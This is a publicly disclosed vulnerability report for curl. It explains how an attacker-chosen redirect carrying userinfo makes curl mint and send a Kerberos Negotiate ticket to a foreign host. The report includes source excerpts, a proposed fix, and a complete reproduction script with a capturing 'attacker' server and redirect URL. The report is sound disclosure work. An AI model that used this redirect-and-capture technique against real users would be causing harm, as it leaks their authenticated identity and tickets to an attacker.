HexBrain

curl · Report #4040551

CVE-2026-94265: Authorization: Negotiate sent to foreign origin

Validstatus
1upvotes
14 Oct 2026disclosed

How it was found

Hi all,

I've discovered that curl can be made to send an "Authorization: Negotiate" header, carrying a freshly minted Kerberos ticket for the victim's ambient identity, to a host chosen by an HTTP redirect, without --location-trusted. All the attacker has to do is put arbitrary userinfo in the Location header they redirect to. This contradicts the guarantee documented for CURLOPT_UNRESTRICTED_AUTH, which says that with the option unset libcurl "does not send custom nor internally generated Authorization: or Cookie: headers on requests done to other hosts than the one used for the initial URL".

I have an end-to-end PoC against a real KDC on pristine upstream d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV), a control showing the protection holds when the userinfo is removed, and a small fix that I have verified closes it without regressing either normal Negotiate or --location-trusted. Details below.

How it works

The gate asks "do I have any credentials?" when it should ask "am I still on the original host?"

  https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L872-L878

    /* Either we have credentials for the origin we talk to or
       performing authentication is allowed here */
    if(data->state.creds || Curl_auth_allowed_to_host(data))
      result = output_auth_headers(data, conn, authhost, request,
                                   path_and_query, FALSE);
    else
      authhost->done = TRUE;

That "||" is the whole vulnerability. Either condition is enough.

The flow:

  1. You run curl --negotiate -L http://intranet/ - Kerberos SSO, no password typed.
  2. intranet redirects you to http://bob:[email protected]/.
  3. curl correctly drops your credentials, because it is a different host. But it then parses bob:alice out of the attacker's own URL and stores it in state.creds. That path has no origin check.
  4. Gate: credentials exist -> proceed. The origin check is never consulted.
  5. The Negotiate branch runs. It throws bob:alice away, goes to the KDC, and gets a fresh Kerberos ticket for HTTP/attacker.example. Sends it.

The attacker now holds a Kerberos AP-REQ for their own service, proving your identity.

What makes it odd is that a credential which is never used unlocks an authentication that does not use credentials. bob:alice is neither forwarded nor checked. Its only job is to be non-NULL.

Same PoC, one change, which is the proof that this and nothing else is the cause:

Redirect targetAttacker receives
http://bob:[email protected]/Authorization: Negotiate <ticket for HTTP/attacker>
http://attacker.example/nothing

Code paths

  1. Application-set credentials ARE origin-checked, so yours are correctly dropped on the redirect.
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/url.c#L1355-L1360

    if((CURL_EASY_STR(data, STRING_USERNAME) ||
        CURL_EASY_STR(data, STRING_PASSWORD) ||
        CURL_EASY_STR(data, STRING_BEARER) ||
        CURL_EASY_STR(data, STRING_SASL_AUTHZID) ||
        CURL_EASY_STR(data, STRING_SERVICE_NAME)) &&
       Curl_auth_allowed_to_origin(data, data->state.origin)) {
  1. Credentials taken from the URL are NOT origin-checked. The redirect target is attacker-chosen, so this repopulates state.creds for the foreign origin.
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/url.c#L1383-L1391

    if(!newcreds || !Curl_creds_has_user(newcreds)) {
      char *user = NULL;
      char *passwd = NULL;
      char *udecoded = NULL;
      char *pdecoded = NULL;
      CURLUcode uc;
  
      uc = curl_url_get(uh, CURLUPART_USER, &user, 0);
      if(uc && (uc != CURLUE_NO_USER))
  1. The gate accepts that, and output_auth_headers() runs for the foreign origin. https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L874

  2. The HTTPSIG branch guards against exactly this. The Negotiate branch directly below it does not - it only checks that the application did not set its own header.

   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L671-L704

  #ifndef CURL_DISABLE_HTTPSIG
    if((authstatus->picked == CURLAUTH_HTTPSIG) && !proxy) {
      /* HTTPSIG uses its own configured key material rather than
         data->state.creds. Do not let unrelated credentials from a
         redirected URL bypass the cross-host auth boundary. */
      if(Curl_auth_allowed_to_host(data)) {
        auth = "HTTPSIG";
        result = Curl_output_httpsig(data);
        if(result)
          return result;
      }
      else
        authstatus->done = TRUE;
    }
    else
  #endif
  #ifdef USE_SPNEGO
    if(authstatus->picked == CURLAUTH_NEGOTIATE) {
      if(
  #ifndef CURL_DISABLE_PROXY
        (proxy && !Curl_checkProxyheaders(data, conn,
                                          STRCONST("Proxy-authorization"))) ||
  #endif
        (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
        auth = "Negotiate";
        result = Curl_output_negotiate(data, conn, proxy);
        if(result)
          return result;
      }
      else
        authstatus->done = TRUE;
    }
    else
  #endif
  1. Negotiate needs no username, so the ambient credential cache is used. The credentials that unlocked the gate are explicitly discarded.
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/vauth/spnego_gssapi.c#L92

    (void)creds;
  1. The SPN is built from the CURRENT origin, which is the attacker's hostname.
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http_negotiate.c#L77

      host = data->state.origin->hostname;
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http_negotiate.c#L126-L127

    result = Curl_auth_decode_spnego_message(data, creds, "HTTP",
                                             host, header, neg_ctx);
  1. The boundary being bypassed.
   https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/vauth/vauth.c#L140-L149

  bool Curl_auth_allowed_to_host(struct Curl_easy *data)
  {
    return Curl_auth_allowed_to_origin(data, data->state.origin);
  }
  
  bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
                                   struct Curl_peer *origin)
  {
    return data->set.allow_auth_to_other_hosts ||
           Curl_peer_equal(data->state.initial_origin, origin);
  1. Worth noting that a CUSTOM Authorization header is already blocked cross-host. Only the internally generated one is not. https://github.com/curl/curl/blob/d1823ebc17e5778c30f8a6b2221a057ec607a9b7/lib/http.c#L1878-L1883
        else if((curlx_str_casecompare(&name, "Authorization") ||
                 curlx_str_casecompare(&name, "Cookie")) &&
                /* be careful of sending this potentially sensitive header to
                   other hosts */
                !Curl_auth_allowed_to_host(data))
          ;

Reproduction

Verified on pristine upstream curl/curl d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV, GSS-API + SPNEGO, MIT krb5 1.22.2), and also on 557e43b237 of my own tree (8.22.1-DEV). Build with -DCURL_USE_GSSAPI=ON so that curl -V lists SPNEGO.

  VF_CURL=<curl-with-spnego> sh reproduce.sh exploit
  VF_CURL=<curl-with-spnego> sh reproduce.sh control

The script stands up a throwaway MIT Kerberos realm (KDC, one user principal, two service principals), kinits a victim who has never heard of attacker.poc.test, and runs curl against a legit origin that 301-redirects to an attacker origin. The only difference between the two arms is whether the Location header carries userinfo.

Results:

exploit: attacker origin received Authorization: Negotiate (1060 b64 chars) AP-REQ principal fields: ['POC.TEST', 'HTTP', 'attacker.poc.test'] control: attacker origin received NO Authorization header

The token is a SPNEGO wrapper (OID 1.3.6.1.5.5.2) over a krb5 AP-REQ (OID 1.2.840.113554.1.2.2) whose ticket sname is HTTP/attacker.poc.test in realm POC.TEST. legit.poc.test does not appear anywhere in it, so it is a newly minted ticket rather than a replay of the one sent to the first host. klist afterwards confirms the KDC issued HTTP/[email protected] to the victim, for a host the caller never asked to contact.

reproduce.sh:

#!/bin/sh
# Reproduces the cross-origin SPNEGO/Negotiate leak in lib/http.c.
#
# Env overrides (defaults suit a Homebrew MIT krb5 on macOS):
#   VF_CURL   - curl built with SPNEGO (`curl -V` must list GSS-API or SPNEGO)
#   VF_WORK   - scratch dir                        (default /tmp/vf-nego)
#   VF_KRB5   - MIT krb5 prefix                    (default /opt/homebrew/opt/krb5)
#   VF_KDCP   - KDC port                           (default 19188)
#   VF_APORT  - "legit" origin port                (default 19218)
#   VF_BPORT  - "attacker" origin port             (default 19219)
set -e
MODE="$1"
WORK="${VF_WORK:-/tmp/vf-nego}"
KRB5="${VF_KRB5:-/opt/homebrew/opt/krb5}"
KDCP="${VF_KDCP:-19188}"
APORT="${VF_APORT:-19218}"
BPORT="${VF_BPORT:-19219}"
CURL_BIN="${VF_CURL:-curl}"
MARKER="$WORK/attacker-received-negotiate"

# Clean at the START of every arm: both arms share one work dir, so the control
# must not inherit a marker left by the exploit arm.
pkill -f "krb5kdc -n -P $WORK/kdc.pid" 2>/dev/null || true
rm -rf "$WORK"
mkdir -p "$WORK/db"

# Exploit: the redirect Location carries unrelated userinfo, which makes
# data->state.creds non-NULL for the foreign origin and satisfies the
# `data->state.creds ||` half of the gate at lib/http.c:874.
# Control: identical, but no userinfo -> the gate correctly blocks the header.
if [ "$MODE" = "exploit" ]; then
  LOC="http://bob:[email protected]:$BPORT/step2"
else
  LOC="http://attacker.poc.test:$BPORT/step2"
fi

# --- Throwaway Kerberos realm: test infrastructure only, NOT the target. ---
cat > "$WORK/krb5.conf" <<EOF
[libdefaults]
    default_realm = POC.TEST
    dns_lookup_kdc = false
    dns_lookup_realm = false
    rdns = false
[realms]
    POC.TEST = {
        kdc = 127.0.0.1:$KDCP
    }
[domain_realm]
    .poc.test = POC.TEST
    poc.test = POC.TEST
EOF
cat > "$WORK/kdc.conf" <<EOF
[kdcdefaults]
    kdc_ports = $KDCP
    kdc_tcp_ports = $KDCP
[realms]
    POC.TEST = {
        database_name = $WORK/db/principal
        key_stash_file = $WORK/db/stash
        acl_file = $WORK/db/kadm5.acl
        supported_enctypes = aes256-cts:normal
    }
EOF
export KRB5_CONFIG="$WORK/krb5.conf"
export KRB5_KDC_PROFILE="$WORK/kdc.conf"
export KRB5CCNAME="$WORK/victim.ccache"

"$KRB5/sbin/kdb5_util" create -s -P testmaster -r POC.TEST >/dev/null
# The victim's realm contains an SPN for the attacker's host. The victim has
# never heard of it; only the KDC's realm membership matters.
"$KRB5/sbin/kadmin.local" -q "addprinc -pw victimpass victim"            >/dev/null 2>&1
"$KRB5/sbin/kadmin.local" -q "addprinc -randkey HTTP/legit.poc.test"     >/dev/null 2>&1
"$KRB5/sbin/kadmin.local" -q "addprinc -randkey HTTP/attacker.poc.test"  >/dev/null 2>&1
"$KRB5/sbin/krb5kdc" -n -P "$WORK/kdc.pid" > "$WORK/kdc.log" 2>&1 &
KDC_PID=$!
i=0; while [ $i -lt 30 ]; do i=$((i+1)); sleep 0.1; done
printf 'victimpass\n' | "$KRB5/bin/kinit" victim >/dev/null

# --- Origin A ("legit"): redirects to origin B. ---
cat > "$WORK/a.py" <<EOF
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header("Location", "$LOC")
        self.send_header("Content-Length", "0")
        self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(("127.0.0.1", $APORT), H).serve_forever()
EOF

# --- Origin B ("attacker"): reached only via A's redirect. Records whether the
#     victim's client presented an ambient-credential Negotiate token. ---
cat > "$WORK/b.py" <<EOF
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        a = self.headers.get("Authorization")
        if a and a.lower().startswith("negotiate"):
            open("$MARKER", "w").write(a.split(" ", 1)[1].strip())
        self.send_response(200)
        self.send_header("Content-Length", "0")
        self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(("127.0.0.1", $BPORT), H).serve_forever()
EOF

python3 "$WORK/a.py" & A_PID=$!
python3 "$WORK/b.py" & B_PID=$!
i=0; while [ $i -lt 20 ]; do i=$((i+1)); sleep 0.1; done

: > "${VF_READY:-/dev/null}"

# Exercise the shipped curl exactly ONCE. Identical command in both arms.
# --negotiate selects SPNEGO; note the ABSENCE of --location-trusted.
timeout 20 "$CURL_BIN" -sS --negotiate --location \
  --resolve "legit.poc.test:$APORT:127.0.0.1" \
  --resolve "attacker.poc.test:$BPORT:127.0.0.1" \
  "http://legit.poc.test:$APORT/start" -o /dev/null 2>"$WORK/curl.err" || true

{ kill "$A_PID" "$B_PID" "$KDC_PID"; wait; } 2>/dev/null || true

if [ -f "$MARKER" ]; then
  echo "$MODE: attacker origin received Authorization: Negotiate ($(wc -c < "$MARKER" | tr -d ' ') b64 chars)"
  python3 - "$MARKER" <<'PY'
import base64, sys
raw = base64.b64decode(open(sys.argv[1]).read())
runs, i = [], 0
while i < len(raw):
    if raw[i] == 0x1b and 0 < raw[i+1] < 64:
        s = raw[i+2:i+2+raw[i+1]]
        if all(32 <= c < 127 for c in s) and len(s) >= 4:
            runs.append(s.decode()); i += 2 + raw[i+1]; continue
    i += 1
print("  AP-REQ principal fields:", runs)
PY
else
  echo "$MODE: attacker origin received NO Authorization header"
fi

Suggested fix

  diff --git a/lib/http.c b/lib/http.c
  index 3ed023753d..4b31cc2376 100644
  --- a/lib/http.c
  +++ b/lib/http.c
  @@ -691,7 +691,8 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
         (proxy && !Curl_checkProxyheaders(data, conn,
                                           STRCONST("Proxy-authorization"))) ||
   #endif
  -      (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
  +      (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")) &&
  +       Curl_auth_allowed_to_host(data))) {
         auth = "Negotiate";
         result = Curl_output_negotiate(data, conn, proxy);
         if(result)
  @@ -704,10 +705,14 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
   #endif
   #ifdef USE_NTLM
     if(authstatus->picked == CURLAUTH_NTLM) {
  -    auth = "NTLM";
  -    result = Curl_output_ntlm(data, proxy);
  -    if(result)
  -      return result;
  +    if(proxy || Curl_auth_allowed_to_host(data)) {
  +      auth = "NTLM";
  +      result = Curl_output_ntlm(data, proxy);
  +      if(result)
  +        return result;
  +    }
  +    else
  +      authstatus->done = TRUE;
     }
     else
   #endif

Cheers, Josh

Impact

The attacker controls the long-term key for the SPN they redirected you to (think: website with an open redirect vulnerability), so they can decrypt the AP-REQ and learn your authenticated identity. With CURLOPT_GSSAPI_DELEGATION the ticket is forwardable, and on Windows SSPI an unknown SPN falls back to NTLM, which yields a relay-able NTLM exchange. I did not demonstrate either of those two outcomes, so they are not reflected in the CVSS score above.

Note this is not the classic "credential leak on redirect" pattern where an existing header value is forwarded to a new host. curl performs a complete, fresh authentication handshake against the attacker's service on your behalf, so the exposure is not bounded by what you previously sent.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original